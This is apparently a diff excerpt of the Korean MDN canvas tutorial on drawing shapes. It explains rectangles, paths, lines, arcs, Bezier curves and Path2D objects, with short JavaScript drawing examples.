+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">드로잉을 시작 하기에 앞서, 캔버스 그리드 혹은 좌표공간 (<strong>coordinate space) </strong>에 대하여 이야기 해보겠습니다. 이전 페이지에서 이야기 했던 HTML 골격(skeleton)는 가로 세로 각각 150 픽셀의 캔버스 요소를 가지고 있습니다. 오른쪽에 보시면, 캔버스와 기본 그리드가 놓인것을 보실 수 있습니다. 기본적으로 그리드의 1단위는 캔버스의 1픽셀과 같습니다. 이 그리드의 원점은 좌측상단의 (0,0) 입니다. 모든 요소들은 이 원점을 기준으로 위치됩니다. 그렇기 때문에, 파란 사각형의 좌측상단은 왼쪽에서 x 픽셀, 위에서 y 픽셀 떨어진 것이라 볼 수 있고, 이 사각형의 좌표는 (x,y)가 됩니다. 이 튜토리얼 후반부에서 어떻게 원점을 이동하며, 그리드를 회전하고 같은 비율로 확대/축소할 수 있는지 살펴볼 것이지만, 지금은 기본에 충실하도록 합시다.</p>
+
+<h2 id="직사각형_그리기">직사각형 그리기</h2>
+
+<p>{{Glossary("SVG")}} 와는 다르게, {{HTMLElement("canvas")}}는 오직 하나의 원시적인 도형만을 제공합니다. 바로 <u>직사각형</u> 입니다. 다른 모든 도형들은 무조건 하나 혹은 하나 이상의 path 와 여러 점으로 이어진 선으로 만들어집니다. 다행히도, 우리는 여러 path drawing 함수(function)들을 통해 아주 어려운 도형들도 그릴수 있습니다.</p>
+
+<p>첫번째로, 직사각형을 봅시다. 캔버스 위에 직사각형을 그리는데에는 세가지 함수(function)가 있습니다:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}</dt>
+ <dd>색칠된 직사각형을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}</dt>
+ <dd>직사각형 윤곽선을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}</dt>
+ <dd>특정 부분을 지우는 직사각형이며, 이 지워진 부분은 완전히 투명해집니다.</dd>
+</dl>
+
+<p>각각의 세 함수는 모두 같은 변수를 가집니다. <code>x</code>와 <code>y</code>는 캔버스의 좌측상단에서 사각형의 (원점으로부터 상대적인) 위치를 뜻하며,  <code>width</code> 와 <code>height</code>는 사각형의 크기를 뜻하게 됩니다.</p>
+
+<p>전 페이지에서 보여드렸던 <code>draw()</code> 함수(function)를 이용하여 위의 세가지 함수를 아래의 예제에 적용해 보았습니다.</p>
+
+<h3 id="직사각형_도형_예제">직사각형 도형 예제</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25, 25, 100, 100);
+    ctx.clearRect(45, 45, 60, 60);
+    ctx.strokeRect(50, 50, 50, 50);
+  }
+}</pre>
+
+<p>위 예제의 결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p>
+
+<p><code>fillRect()</code> 함수는 가로 세로 100 픽셀 사이즈의 검정 사각형을 그립니다. 이후 <code>clearRect()</code> 함수가 60x60 픽셀의 사각형 크기로 도형 중앙을 지우게 되고, <code>strokeRect()</code>은 이 빈 사각형 공간 안에 50x50 픽셀 사이즈의 윤곽선만 있는 사각형을 만들게 됩니다.</p>
+
+<p>다음 페이지에서, 우리는 <code>clearRect()</code>를 대신하는 두개의 함수에 대해 살펴보고, 만들어진 도형의 색이나 <font face="Open Sans, Arial, sans-serif">윤곽선의 스타일을 </font>바꾸는 방법들에 대하여 알아보도록 하겠습니다.</p>
+
+<p>우리가 다음 섹션에서 보게될 path 함수와 다르게 세개의 직사각형 함수는 캔버스에 바로 그릴 수 있습니다.</p>
+
+<h2 id="경로_그리기">경로 그리기</h2>
+
+<p><em>경로(path)</em>는 직사각형 이외의 유일한 원시적인(primitive) 도형입니다. 경로는 점들의 집합이며, 선의 한 부분으로 연결되어 여러가지 도형, 곡선을 이루고 두께와 색을 나타내게 됩니다. 경로나 하위 경로(sub-path)는 닫힐 수 있습니다. 경로를 이용하여 도형을 만들 때에는 몇가지 추가적인 단계를 거쳐야 합니다:</p>
+
+<ol>
+ <li>경로를 생성합니다.</li>
+ <li><a href="/ko/docs/Web/API/CanvasRenderingContext2D#Paths">그리기 명령어</a>를 사용하여 경로상에 그립니다.</li>
+ <li>경로가 한번 만들어졌다면, 경로를 렌더링 하기 위해서 윤곽선을 그리거나 도형 내부를 채울수 있습니다.</li>
+</ol>
+
+<p>다음은 위의 단계들을 실행하기 위해 사용되는 함수입니다:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt>
+ <dd>새로운 경로를 만듭니다. 경로가 생성됬다면, 이후 그리기 명령들은 경로를 구성하고 만드는데 사용하게 됩니다.</dd>
+ <dt>Path 메소드 (<a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path methods</a>)</dt>
+ <dd>물체를 구성할 때 필요한 여러 경로를 설정하는데 사용하는 함수입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt>
+ <dd>현재 하위 경로의 시작 부분과 연결된 직선을 추가합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt>
+ <dd>윤곽선을 이용하여 도형을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt>
+ <dd>경로의 내부를 채워서 내부가 채워진 도형을 그립니다.</dd>
+</dl>
+
+<p>경로를 만들기 위한 첫번째 단계는 <code>beginPath()</code> 메소드를 사용하는 것 입니다. 내부적으로, 경로는 도형을 이루는 하위경로(선, 아치 등)들의 집합으로 이루어져있습니다. 이 메소드가 호출될 때 마다, 하위 경로의 모음은 초기화되며, 우리는 새로운 도형을 그릴 수 있게 됩니다.</p>
+
+<div class="note"><strong>참고:</strong>  현재 열린 path가  비어있는 경우 ( <code>beginPath()</code> 메소드를 사용한 직 후, 혹은캔버스를 새로 생성한 직후), 첫 경로 생성 명령은 실제 동작에 상관 없이 <code>moveTo()</code>로 여겨지게 됩니다. 그렇기 때문에 경로를 초기화한 직후에는 항상 명확하게 시작 위치를 설정해 두는것이 좋습니다.</div>
+
+<p>두번째 단계는 실제로 경로가 그려지는 위치를 설정하는 메소드를 호출하는 것 입니다. 이 내용에 대해서는 곧 보실수 있습니다.</p>
+
+<p>세번째 단계는 선택사항으로 <code>closePath()</code> 메소드를 호출하는 것 입니다. 이 메소드는 현재 점 위치와 시작점 위치를 직선으로 이어서 도형을 닫습니다. 이미 도형이 닫혔거나 한 점만 존재한다면, 이 메소드는 아무것도 하지 않습니다.</p>
+
+<div class="note"><strong>참고:</strong>  <code>fill()</code> 메소드 호출 시, 열린 도형은 자동으로 닫히게 되므로  <code>closePath()</code>메소드를 호출하지 않아도 됩니다. 이것은 <code>stroke()</code> 메소드에는 <strong>적용되지 않습니다</strong>.</div>
+
+<h3 id="삼각형_그리기">삼각형 그리기</h3>
+
+<p>예를 들어, 삼각형을 그리기 위한 코드는 다음과 같습니다:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75, 50);
+    ctx.lineTo(100, 75);
+    ctx.lineTo(100, 25);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>위 코드의 실행 결과는 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample("Drawing_a_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p>
+
+<h3 id="펜(pen)_이동하기">펜(pen) 이동하기</h3>
+
+<p>가장 유용한 함수중에 실제로 어떤 것도 그리지 않지만 위에서 언급한 경로의 일부가 되는  <code>moveTo()</code> 함수가 있습니다. 이는 펜이나 연필을 종이위에서 들어 옆으로 옮기는것이라고 보시면 됩니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt>
+ <dd>펜을  x와 y 로 지정된 좌표로 옮깁니다.</dd>
+</dl>
+
+<p>캔버스가 초기화 되었거나 <code>beginPath()</code> 메소드가 호출되었을 때, 특정 시작점 설정을 위해 <code>moveTo()</code> 함수를 사용하는것이 좋습니다. 또한 <code>moveTo()</code>  함수는 연결되지 않은 경로를 그리는데에도 사용 할 수 있습니다. 아래의 스마일 아이콘을 봅시다.</p>
+
+<p>코드 snippet을 사용해하여 직접 시도하여 보세요. 앞에서 보았던 <code>draw()</code> 함수(function)를 붙혀넣기 해 보세요.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight:[8,10,12]">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+     var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75, 75, 50, 0, Math.PI * 2, true); // Outer circle
+    ctx.moveTo(110, 75);
+    ctx.arc(75, 75, 35, 0, Math.PI, false);  // Mouth (clockwise)
+    ctx.moveTo(65, 65);
+    ctx.arc(60, 65, 5, 0, Math.PI * 2, true);  // Left eye
+    ctx.moveTo(95, 65);
+    ctx.arc(90, 65, 5, 0, Math.PI * 2, true);  // Right eye
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p>
+
+<p> <code>moveTo()</code>를 사용한 코드라인을 지우면 연결된 선들을 확인 할 수 있습니다</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>arc()</code> function에 대하여 더 알아보고 싶다면 아래의  {{anch("Arcs")}} 를 확인하세요.</p>
+</div>
+
+<h3 id="선">선</h3>
+
+<p>직선을 그리기 위해서는 <code>lineTo()</code> 메소드를 사용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt>
+ <dd>현재의 드로잉 위치에서 x와 y로 지정된 위치까지 선을 그립니다.</dd>
+</dl>
+
+<p>이 메소드는 선의 끝점의 좌표가 되는 x와 y의 두개의 인자가 필요합니다. 시작점은 이전에 그려진 경로에 의해 결정 되며, 이전 경로의 끝점이 다음 그려지는 경로의 시작점이 됩니다. 또한 시작점은 <code>moveTo()</code> 메소드를 통해 변경될 수 있습니다.</p>
+
+<p>아래의 예시는 하나의 두 삼각형 (윤곽선 삼각형, 색칠된 삼각형)을 그립니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,16,17]">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Filled triangle
+    ctx.beginPath();
+    ctx.moveTo(25, 25);
+    ctx.lineTo(105, 25);
+    ctx.lineTo(25, 105);
+    ctx.fill();
+
+    // Stroked triangle
+    ctx.beginPath();
+    ctx.moveTo(125, 125);
+    ctx.lineTo(125, 45);
+    ctx.lineTo(45, 125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>새로운 경로를 지정하기 위해 <code>beginPath()</code> 메소드를 먼저 실행합니다. 그 다음 <code>moveTo()</code> 메소드를 가지고 시작점을 원하는 위치로 새롭게 지정 해 줍니다. 다음은, 두선을 그어 삼각형의 두 면을 그려줍니다.</p>
+
+<p>{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
+
+<p>여러분은 채워진 삼각형과 윤곽선 삼각형의 차이를 확인 하셨을 겁니다. 위에 언급했던 것 처럼, 경로가 채워지게 되면 그 도형은 자동으로 닫히게 되지만 윤곽선 삼각형에서는 그렇지 않기 때문입니다. 만약에 <code>closePath()</code> 메소드를 윤곽선 삼각형 코드에서 지운다면, 오직 두 선만 그려지게 되며 완벽한 삼각형으로 만들어지지 않습니다.</p>
+
+<h3 id="호(arc)">호(arc)</h3>
+
+<p>호나 원을 그리기위해서는 <code>arc()</code> 혹은 <code>arcTo()</code> 메소드를 사용합니다..</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}</dt>
+ <dd><em>(x, y)</em> 위치에 원점을 두면서, 반지름 r을 가지고,  <em>startAngle</em> 에서 시작하여 <em>endAngle </em>에서 끝나며 주어진 <em>anticlockwise</em> 방향으로 향하는 (기본값은 시계방향 회전) 호를 그리게 됩니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}</dt>
+ <dd>주어진 제어점들과 반지름으로 호를 그리고,  이전 점과 직선으로 연결합니다.</dd>
+</dl>
+
+<p><code>arc</code> 메소드의 여섯개의 매개변수에 대하여 좀 더 자세하게 알아봅시다: <code>x</code> 와 <code>y</code>는 호를 그릴 때 필요한 원점 좌표입니다. 반지름(<code>radius</code>) 은 말 그대로 호의 반지름을 뜻합니다. <code>startAngle</code> 및 <code>endAngle</code> 매개 변수는 원의 커브를 따라 호의 시작점과 끝점을 라디안 단위로 정의합니다. 이 변수들은 x축을 기준으로 계산됩니다. Boolean 값을 가지는 <code>anticlockwise</code> 변수는 <code>true</code>일 때 호를 반시계 방향으로 그리게 되며, 그렇지 않을 경우에는 시계 방향으로 그리게 됩니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: <code>arc</code> 함수에서 각도는 각이 아닌 라디안 값을 사용합니다. 각도를 라디안으로 바꾸려면 다음의 자바스크립트(JavaScript) 코드를 사용하실 수 있습니다: <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<p>다음의 예제는 우리가 이제껏 봐 왔던 예제들 보다 약간 더 복잡합니다. 이 예제는 12가지의 다양한 각도로 채워진 각기 다른 호를 그립니다.</p>
+
+<p>두개의  <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for"><code>for</code> loops</a>은 루프를 통해 호(arc)들의 행과 열을 읽기 위해 사용되었습니다. <code>beginPath()</code>를 사용해 각 호의 새로운 경로를 만듭니다. 코드 내에서, 각각의 매개변수들을 명확하게 보여주기 위해 변수로 정의 하였지만, 실제로 사용할때 꼭 필요한 것은 아닙니다.</p>
+
+<p><code>x</code>와 <code>y</code> 좌표는 충분히 명확하게 표기되어야 합니다.  <code>radius</code> 와 <code>startAngle</code>은 고정되어 있습니다. <code>endAngle</code>는 처음 180도 (반원) 에서 시작하고 이후 매번 90도씩 증가하다가 마지막 열에서 완벽한 원을 그립니다.</p>
+
+<p><code>clockwise</code> 매개 변수를 지정한 결과로 첫번째와 세번째 줄은 시계방향으로 원호들이 그려졌고 두번째와 네번째 줄에는 반시계방향의 원호들이 그려졌습니다. 마지막으로 <code>if</code> 문은 위 반쪽이 윤곽선으로, 아래 반쪽이 색으로 채워진 호들을 만들어 냅니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 예제는 다른 예제들 보다 더 큰사이즈의 캔버스가 필요합니다: 150 x 200 픽셀</p>
+</div>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[16]">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    for (var i = 0; i &lt; 4; i++) {
+      for (var j = 0; j &lt; 3; j++) {
+        ctx.beginPath();
+        var x = 25 + j * 50; // x coordinate
+        var y = 25 + i * 50; // y coordinate
+        var radius = 20; // Arc radius
+        var startAngle = 0; // Starting point on circle
+        var endAngle = Math.PI + (Math.PI * j) / 2; // End point on circle
+        var anticlockwise = i % 2 == 0 ? false : true; // clockwise or anticlockwise
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i &gt; 1) {
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}</p>
+
+<h3 id="베지어(Bezier)_곡선과_이차(Quadratic_)곡선">베지어(Bezier) 곡선과 이차(Quadratic )곡선</h3>
+
+<p>다음 경로 타입은 베지어 곡선 (<a class="external" href="https://ko.wikipedia.org/wiki/%EB%B2%A0%EC%A7%80%EC%97%90_%EA%B3%A1%EC%84%A0" rel="external" title="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Bézier curves</a>)으로, 삼차(cubic)와 이차(quadric) 변수가 모두 가능합니다. 이 타입은 대게 복잡한 유기체적 형태 (organic shape)를 그리는데 사용됩니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}</dt>
+ <dd><code>cp1x</code> 및 <code>cp1y</code>로 지정된 제어점을 사용하여 현재 펜의 위치에서 <code>x</code>와 <code>y</code>로 지정된 끝점까지 이차 베지어 곡선을 그립니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}</dt>
+ <dd>(<code>cp1x</code>, <code>cp1y</code>) 및 (cp2x, cp2y)로 지정된 제어점을 사용하여 현재 펜 위치에서 <code>x</code> 및 <code>y</code>로 지정된 끝점까지 삼차 베지어 곡선을 그립니다.</dd>
+</dl>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">오른쪽의 사진은 두 곡선의 차이를 가장 잘 설명해주고 있습니다. 이차 베지에 곡선은 시작점과 끝점 (파란색 점) 그리고 하나의 <strong>제어점</strong> (control point, 빨간 점으로 표시)을 가지고 있지만, 삼차 베지에 곡선은 두개의 제어점을 사용하고 있습니다.</p>
+
+<p>두 메소드에 모두 사용되는 <code>x</code>와 <code>y</code> 변수는 모두 끝점의 좌표를 나타냅니다. 첫번째 제어점은 <code>cp1x</code> 와 <code>cp1y</code> 좌표로, 두번째 제어점은 <code>cp2x</code> 와 <code>cp2y</code>  좌표로 표시되었습니다.</p>
+
+<p>이차 및 삼차 베지어 곡선을 사용하는 것은 매우 어려울 수 있습니다. Adobe Illustrator와 같은 벡터 드로잉 소프트웨어와는 달리, 우리는 현재 수행중인 작업에 대해 직접적인 시각적 피드백을 받을 수 없기 때문입니다. 이런 점은 복잡한 모양을 그리기 어렵도록 합니다. 다음 예제에서 우리는 간단한 유기체적 형태만 그리도록 하겠지만, 여러분이 연습과 시간을 투자 하신다면, 이후에 더욱 복잡한 도형을 그릴수 있게 될 것입니다.</p>
+
+<p>이 예제는 아주 어려운 점은 없습니다. 두 경우 모두 연속된 곡선이 그려지면서 최종 모양이 완성됩니다.</p>
+
+<h4 id="이차_베지에_곡선(Quadratic_Bezier_curves)">이차 베지에 곡선(Quadratic Bezier curves)</h4>
+
+<p>이 예제는 여러개의 이차 베지어 곡선을 이용해 말풍선을 만들어 냅니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75, 25);
+    ctx.quadraticCurveTo(25, 25, 25, 62.5);
+    ctx.quadraticCurveTo(25, 100, 50, 100);
+    ctx.quadraticCurveTo(50, 120, 30, 125);
+    ctx.quadraticCurveTo(60, 120, 65, 100);
+    ctx.quadraticCurveTo(125, 100, 125, 62.5);
+    ctx.quadraticCurveTo(125, 25, 75, 25);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}</p>
+
+<h4 id="삼차_베지어_곡선_(Cubic_Bezier_curves)">삼차 베지어 곡선 (Cubic Bezier curves)</h4>
+
+<p>이 예제는 삼차 곡선을 이용하여 하트를 그립니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Cubic curves example
+    ctx.beginPath();
+    ctx.moveTo(75, 40);
+    ctx.bezierCurveTo(75, 37, 70, 25, 50, 25);
+    ctx.bezierCurveTo(20, 25, 20, 62.5, 20, 62.5);
+    ctx.bezierCurveTo(20, 80, 40, 102, 75, 120);
+    ctx.bezierCurveTo(110, 102, 130, 80, 130, 62.5);
+    ctx.bezierCurveTo(130, 62.5, 130, 25, 100, 25);
+    ctx.bezierCurveTo(85, 25, 75, 37, 75, 40);
+    ctx.fill();
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}</p>
+
+<h3 id="직사각형">직사각형</h3>
+
+<p>직사각형을 캔버스에 직접 그리는 {{anch("직사각형 그리기")}}에서 본 세 가지 메소드 외에 <code>rect()</code> 메소드도 있습니다. 이 메소드는 현재 열린 패스에 직사각형 경로를 추가합니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rect", "rect(x, y, width, height)")}}</dt>
+ <dd>좌측상단이 (x, y)이고 폭과 높이가 <code>width</code>와 <code>height</code>인 직사각형을 그립니다.</dd>
+</dl>
+
+<p>이 메소드가 실행되기 전에, (x,y) 매개변수를 가진 <code>moveTo()</code> 메소드가 자동으로 호출됩니다. 즉, 현재의 펜위치가 자동으로 기본 좌표로 초기화 됩니다.</p>
+
+<h3 id="조합하기">조합하기</h3>
+
+<p>이제까지 이 페이지의 예제들은 각각의 도형마다 하나의 path 함수를 가지고 있었습니다. 하지만 도형을 만드는데에 사용되는 경로의 종류와 개수는 제한이 없습니다. 그렇기 때문에 이 마지막 예제에서는 모든 경로 함수를 합쳐 여러 게임 캐릭터들을 그려보도록 하겠습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx, 12, 12, 150, 150, 15);
+    roundedRect(ctx, 19, 19, 150, 150, 9);
+    roundedRect(ctx, 53, 53, 49, 33, 10);
+    roundedRect(ctx, 53, 119, 49, 16, 6);
+    roundedRect(ctx, 135, 53, 49, 33, 10);
+    roundedRect(ctx, 135, 119, 25, 49, 10);
+
+    ctx.beginPath();
+    ctx.arc(37, 37, 13, Math.PI / 7, -Math.PI / 7, false);
+    ctx.lineTo(31, 37);
+    ctx.fill();
+
+    for (var i = 0; i &lt; 8; i++) {
+      ctx.fillRect(51 + i * 16, 35, 4, 4);
+    }
+
+    for (i = 0; i &lt; 6; i++) {
+      ctx.fillRect(115, 51 + i * 16, 4, 4);
+    }
+
+    for (i = 0; i &lt; 8; i++) {
+      ctx.fillRect(51 + i * 16, 99, 4, 4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83, 116);
+    ctx.lineTo(83, 102);
+    ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
+    ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
+    ctx.lineTo(111, 116);
+    ctx.lineTo(106.333, 111.333);
+    ctx.lineTo(101.666, 116);
+    ctx.lineTo(97, 111.333);
+    ctx.lineTo(92.333, 116);
+    ctx.lineTo(87.666, 111.333);
+    ctx.lineTo(83, 116);
+    ctx.fill();
+
+    ctx.fillStyle = 'white';
+    ctx.beginPath();
+    ctx.moveTo(91, 96);
+    ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
+    ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
+    ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
+    ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
+    ctx.moveTo(103, 96);
+    ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
+    ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
+    ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
+    ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
+    ctx.fill();
+
+    ctx.fillStyle = 'black';
+    ctx.beginPath();
+    ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+
+    ctx.beginPath();
+    ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
+    ctx.fill();
+  }
+}
+
+// A utility function to draw a rectangle with rounded corners.
+
+function roundedRect(ctx, x, y, width, height, radius) {
+  ctx.beginPath();
+  ctx.moveTo(x, y + radius);
+  ctx.lineTo(x, y + height - radius);
+  ctx.arcTo(x, y + height, x + radius, y + height, radius);
+  ctx.lineTo(x + width - radius, y + height);
+  ctx.arcTo(x + width, y + height, x + width, y + height-radius, radius);
+  ctx.lineTo(x + width, y + radius);
+  ctx.arcTo(x + width, y, x + width - radius, y, radius);
+  ctx.lineTo(x + radius, y);
+  ctx.arcTo(x, y, x, y + radius, radius);
+  ctx.stroke();
+}
+</pre>
+
+<p>결과 이미지는 다음과 같습니다:</p>
+
+<p>{{EmbedLiveSample("Making_combinations", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}</p>
+
+<p>이 예제는 보기보다 아주 간단하기 때문에 자세한 설명은 생략하겠습니다. 알아 두어야할 가장 중요한 부분은 <code>fillStyle</code>  코드와 사용된 유틸리티 함수 (<code>roundedRect()</code> 부분) 입니다. 유틸리티 함수를 사용하게 되면, 사용해야 할 코드의 양과 복잡함을 줄여주는데 도움을 줍니다.</p>
+
+<p>이 튜토리얼에서 나중에 <code>fillStyle</code>에 대하여 조금 더 자세하게 알아보도록 하겠지만, 지금은 경로의 채우는 색을 기본값(흑백)에서 바꾸었다가 다시 기본값으로 바꾸는 정도로만 사용하였습니다.</p>
+
+<h2 id="Path2D_오브젝트_(Path2D_objects)">Path2D 오브젝트 (Path2D objects)</h2>
+
+<p>마지막 예제에서 보았 듯이, 캔버스에 객체를 그리는 일련의 경로와 그리기 명령이 있을 수 있습니다. 코드를 단순화하고 성능을 향상시키기 위해 최근 버전의 브라우저에서 사용할 수있는 {{domxref("Path2D")}} 객체를 사용하여 이러한 드로잉 명령을 캐시하거나 기록 할 수 있습니다. 이로써 여러분은 경로를 빠르게 다시 실행 시킬 수 있습니다.</p>
+
+<p>어떻게 <code>Path2D</code> object를 생성 할 수 있는지 확인해 봅시다:</p>
+
+<dl>
+ <dt>{{domxref("Path2D.Path2D", "Path2D()")}}</dt>
+ <dd><code><strong>Path2D()</strong></code> 생성자는 새로운 <code>Path2D</code> 객체를 반환합니다. 선택적으로 다른 경로를 인수로 받거나(복사본을 생성), SVG 경로 데이터로 구성된 문자열을 받아서 객체로 반환합니다.</dd>
+</dl>
+
+<pre class="brush: js">new Path2D();     // empty path object
+new Path2D(path); // copy from another Path2D object
+new Path2D(d);    // path from SVG path data</pre>
+
+<p><code>moveTo</code>, <code>rect</code>, <code>arc</code> 혹은 <code>quadraticCurveTo</code> 등과 같은 모든 경로 메소드 (<a href="/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">path methods</a>)들은  <code>Path2D</code> 객체에서 사용 가능합니다.</p>
+
+<p><code>Path2D</code> API는 또한 <code>addPath</code> 메소드를 사용하여 경로를 결합하는 방법을 추가합니다. 예를 들자면, 여러 요소를 사용하는 오브젝트를 만들 때 유용하게 사용 될 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}</dt>
+ <dd>옵션으로 변환 행렬(transformation matrix)을 사용하여 현재 경로에 경로를 추가합니다.</dd>
+</dl>
+
